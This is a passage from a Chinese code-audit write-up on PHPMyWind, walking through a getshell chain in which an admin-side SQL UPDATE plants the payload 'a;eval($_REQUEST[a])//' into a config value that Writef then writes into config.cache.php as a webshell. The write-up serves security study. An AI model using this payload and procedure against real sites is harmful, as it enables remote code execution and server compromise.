PHPMyWind 注入+GetShell 代码审计( 四 )


$row['varvalue']=b这个变量str就变为了
<?php if(!defined('IN_PHPMYWIND')) exit('Request Error!');$a = 'b';?> 
这里很明显有防范我单引号跳出来造成getshell,我们我们想一下,如果我们能够控制$row[‘varname’]这个值是不是就可以代码执行了,比如这个值为
$row['varname']=a;eval($_REQUEST[a]);// 
那么执行就变为了
$a;eval($_REQUEST[a]);//= 'b'; 
很明显有一句话木马,然后注释了后面,语法也没用问题 。
那么核心就是两个,第一个是控制这个$row[‘varname’],控制这个字段很明显就是修改数据库里面的内容呗 。
后台功能里面就提供了一个更新数据库的功能,我只需要执行
update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97

PHPMyWind 注入+GetShell 代码审计

文章插图
 

PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
成功执行,然后我们看看数据库里面
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
当然我这样看是偷懒了,用后台自带的数据库执行也是可以查看的 。
那么我们通过这个方法已经修改掉了varname,那么如果$str真的是写入文件的话我们的
webshell就到手了 。
 
那我们再看看Writef函数是干什么的,这个函数在common.func.php的第364-389行被定义 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
很明显,判断如果函数传参$file的目录存在可写就写入,写入的东西就是函数传参的$str 。
那么函数传参的$str不就是前面我们拼凑出来的变量str 。
所以这里就是写入文件到config.cache.php文件 。
万事俱备了,我们改了数据库内容能让恶意语句拼接进去了 。那么我们只要触发就行 。具体操作也很简单,我们在站点配置管理随便加一个新站点 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 

PHPMyWind 注入+GetShell 代码审计

文章插图
 
随便写就行,然后提交,我们的一句话就被插进去了 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
然后我们只要传参a就行
PHPMyWind 注入+GetShell 代码审计

文章插图
 
成功Getshell
 
九.总结
审计一下,问题就很多 。
还有更多问题没有深究,希望新同学能加油,多学习思维,动手去做 。




推荐阅读